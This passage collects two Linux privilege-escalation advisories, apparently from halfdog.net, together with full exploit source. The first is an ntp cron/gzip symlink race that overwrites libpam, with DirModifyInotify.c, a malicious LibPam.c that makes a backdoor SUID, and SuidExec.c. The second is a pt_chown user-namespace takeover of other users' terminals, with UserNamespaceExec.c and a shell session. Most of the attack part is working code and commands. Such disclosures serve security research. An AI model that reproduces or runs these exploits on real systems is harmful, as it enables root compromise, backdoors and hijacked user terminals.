if [ $? -eq 0 ]; then
# Note that gzip won't compress the file names that
# are hard links to the live/current files, so this
# compresses yesterday and previous, leaving the live
# log alone. We supress the warnings gzip issues
# about not compressing the linked file.
gzip --best --quiet *stats.????????
Relevant targets are:
- find and rm invocation is racy, symlinks on rm
- rm can be invoked with one attacker controlled option
- ls can be invoked with arbitrary number of attacker controlled command line options
- gzip can be invoked with arbitrary number of attacker controlled options
## Methods
### Exploitation Goal:
A sucessful attack should not be mitigated by symlink security restrictions. Thus the general POSIX/Linux design weakness of missing flags/syscalls for safe opening of path without the setfsuid workaround has to be targeted. See FilesystemRecursionAndSymlinks (http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/) on that.
### Demonstration:
First step is to pass the ls check in the script to trigger gzip, which is more suitable to perform file system changes than ls for executing arbitrary code. As this requires passing command line options to gzip which are not valid for ls, content of statsdir has to be modified exactly in between. This can be easily accomplished by preparing suitable entries in /var/lib/ntp and starting one instance of DirModifyInotify.c (http://www.halfdog.net/Misc/Utils/DirModifyInotify.c) as user ntp:
cd /var/lib/ntp
mkdir astats.01234567 bstats.01234567
# Copy away library, we will have to restore it afterwards. Without
# that, login is disabled on console, via SSH, ...
cp -a -- /lib/x86_64-linux-gnu/libpam.so.0.83.1 .
gzip < /lib/x86_64-linux-gnu/libpam.so.0.83.1 > astats.01234567/libpam.so.0.83.1stats.01234567
./DirModifyInotify --Watch bstats.01234567 --WatchCount 5 --MovePath bstats.01234567 --MoveTarget -drfSstats.01234567 &
With just that in place, DirModifyInotify will react to the actions of ls, move the directory and thus trigger recursive decompression in gzip instead of plain compression. While gzip is running, the directory astats.01234567 has to replaced also to make it overwrite arbitrary files as user root. As gzip will attempt to restore uid/gid of compressed file to new uncompressed version, this will just change the ownership of PAM library to ntp user.
./DirModifyInotify --Watch astats.01234567 --WatchCount 12 --MovePath astats.01234567 --MoveTarget disabled --LinkTarget /lib/x86_64-linux-gnu/
After the daily cron jobs were run once, libpam.so.0.83.1 can be temporarily replaced, e.g. to create a SUID binary for escalation.
LibPam.c (http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/LibPam.c)
SuidExec.c (http://www.halfdog.net/Misc/Utils/SuidExec.c)
gcc -Wall -fPIC -c LibPam.c
ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so
cat libPam.so > /lib/x86_64-linux-gnu/libpam.so.0.83.1
gcc -o Backdoor SuidExec.c
/bin/su
# Back to normal
./Backdoor /bin/sh -c 'cp --preserve=mode,timestamps -- libpam.so.0.83.1 /lib/x86_64-linux-gnu/libpam.so.0.83.1; chown root.root /lib/x86_64-linux-gnu/libpam.so.0.83.1; exec /bin/sh'
--- DirModifyInotify.c ---
/** This program waits for notify of file/directory to replace
* given directory with symlink.
*
* Usage: DirModifyInotify --Watch [watchfile0] --WatchCount [num]
* --MovePath [path] --MoveTarget [path] --LinkTarget [path] --Verbose
*
* Parameters:
* * --MoveTarget: If set, move path to that target location before
* attempting to symlink.
* * --LinkTarget: If set, the MovePath is replaced with link to
* this path
*
* Compile:
* gcc -o DirModifyInotify DirModifyInotify.c
*
* Copyright (c) 2010-2016 halfdog <me (%) halfdog.net>
*
* This software is provided by the copyright owner "as is" to
* study it but without any expressed or implied warranties, that
* this software is fit for any other purpose. If you try to compile
* or run it, you do it solely on your own risk and the copyright
* owner shall not be liable for any direct or indirect damage
* caused by this software.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char **argv) {
char *movePath=NULL;
char *newDirName=NULL;
char *symlinkTarget=NULL;
int argPos;
int handle;
int inotifyHandle;
int inotifyDataSize=sizeof(struct inotify_event)*16;
struct inotify_event *inotifyData;
int randomVal;
int callCount;
int targetCallCount=0;
int verboseFlag=0;
int result;
if(argc<4) return(1);
inotifyHandle=inotify_init();
for(argPos=1; argPos<argc; argPos++) {
if(!strcmp(argv[argPos], "--Verbose")) {
verboseFlag=1;
continue;
}
if(!strcmp(argv[argPos], "--LinkTarget")) {
argPos++;
if(argPos==argc) return(1);
symlinkTarget=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MovePath")) {
argPos++;
if(argPos==argc) return(1);
movePath=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MoveTarget")) {
argPos++;
if(argPos==argc) return(1);
newDirName=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--Watch")) {
argPos++;
if(argPos==argc) return(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
result=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
if(result==-1) {
fprintf(stderr, "Failed to add watch path %s, error %d\n",
argv[argPos], errno);
return(1);
}
continue;
}
if(!strcmp(argv[argPos], "--WatchCount")) {
argPos++;
if(argPos==argc) return(1);
targetCallCount=atoi(argv[argPos]);
continue;
}
fprintf(stderr, "Unknown option %s\n", argv[argPos]);
return(1);
}
if(!movePath) {
fprintf(stderr, "No move path specified!\n" \
"Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
" --LinkTarget [path]\n");
return(1);
}
fprintf(stderr, "Using target call count %d\n", targetCallCount);
// Init name of new directory if not already defined.
if(!newDirName) {
newDirName=(char*)malloc(strlen(movePath)+256);
sprintf(newDirName, "%s-moved", movePath);
}
inotifyData=(struct inotify_event*)malloc(inotifyDataSize);
for(callCount=0; ; callCount++) {
result=read(inotifyHandle, inotifyData, inotifyDataSize);
if(callCount==targetCallCount) {
rename(movePath, newDirName);
// rmdir(movePath);
if(symlinkTarget) symlink(symlinkTarget, movePath);
fprintf(stderr, "Move triggered at count %d\n", callCount);
break;
}
if(verboseFlag) {
fprintf(stderr, "Received notify %d, result %d, error %s\n",
callCount, result, (result<0?strerror(errno):NULL));
}
if(result<0) {
break;
}
}
return(0);
}
--- EOF ---
--- LibPam.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This library just transforms an existing file into a SUID
* binary when the library is loaded.
*
* gcc -Wall -fPIC -c LibPam.c
* ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so
*/
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
/** Library initialization function, called by the linker. If not
* named _init, parameter has to be set during linking using -init=name
*/
extern void _init() {
fprintf(stderr, "LibPam.c: Within _init\n");
chown("/var/lib/ntp/Backdoor", 0, 0);
chmod("/var/lib/ntp/Backdoor", 04755);
}
--- EOF ---
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2015/PtChownArbitraryPtsAccessViaUserNamespace/
## Introduction
Problem description: With Ubuntu Wily and earlier, /usr/lib/pt_chown was used to change ownership of slave pts devices in /dev/pts to the same uid holding the master file descriptor for the slave. This is done using the pt_chown SUID binary, which invokes the ptsname function on the master-fd, thus again performing a TIOCGPTN ioctl to get the slave pts number. Using the result from the ioctl, the pathname of the slave pts is constructed and chown invoked on it, see login/programs/pt_chown.c:
pty = ptsname (PTY_FILENO);
if (pty == NULL)
...
/* Get the group ID of the special `tty' group. */
p = getgrnam (TTY_GROUP);
gid = p ? p->gr_gid : getgid ();
/* Set the owner to the real user ID, and the group to that special
group ID. */
if (chown (pty, getuid (), gid) < 0)
return FAIL_EACCES;
/* Set the permission mode to readable and writable by the owner,
and writable by the group. */
if ((st.st_mode & ACCESSPERMS) != (S_IRUSR|S_IWUSR|S_IWGRP)
&& chmod (pty, S_IRUSR|S_IWUSR|S_IWGRP) < 0)
return FAIL_EACCES;
return 0;
The logic above is severely flawed, when there can be more than one master/slave pair having the same number and thus same name. But this condition can be easily created by creating an user namespace, mounting devpts with the newinstance option, create master and slave pts pairs until the number overlaps with a target pts outside the namespace on the host, where there is interest to gain ownership and then
## Methods
Exploitation is trivial: At first use any user namespace demo to create the namespace needed, e.g. UserNamespaceExec.c (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c) and work with standard shell commands, e.g. to take over /dev/pts/0:
test# who am I
test pts/1 2015-12-27 12:00
test# ./UserNamespacesExec -- /bin/bash
Setting uid map in /proc/5783/uid_map
Setting gid map in /proc/5783/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
root# mkdir mnt
root# mount -t devpts -o newinstance /dev/pts mnt
root# cd mnt
root# chmod 0666 ptmx
Use a second shell to continue:
test# cd /proc/5783/cwd
test# ls -al
total 4
drwxr-xr-x 2 root root 0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
c--------- 1 test users 5, 2 Dec 27 12:48 ptmx
test# exec 3<>ptmx
test# ls -al
total 4
drwxr-xr-x 2 root root 0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
crw------- 1 test users 136, 0 Dec 27 12:53 0
crw-rw-rw- 1 test users 5, 2 Dec 27 12:48 ptmx
test# ls -al /dev/pts/0
crw--w---- 1 root tty 136, 1 Dec 27 2015 /dev/pts/0
test# /usr/lib/pt_chown
test# ls -al /dev/pts/0
crw--w---- 1 test tty 136, 1 Dec 27 12:50 /dev/pts/0
On systems where the TIOCSTI-ioctl is not prohibited, the tools from TtyPushbackPrivilegeEscalation (http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/) to directly inject code into a shell using the pts device. This is not the case at least on Ubuntu Wily. But as reading and writing to the pts is allowed, the malicious user can not intercept all keystrokes and display faked output from commands never really executed. Thus he could lure the user into a) change his password or attempt to invoke su/sudo or b) simulate a situation, where user's next step is predictable and risky and then stop reading the pts, thus making user to execute a command in completely unexpected way.
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---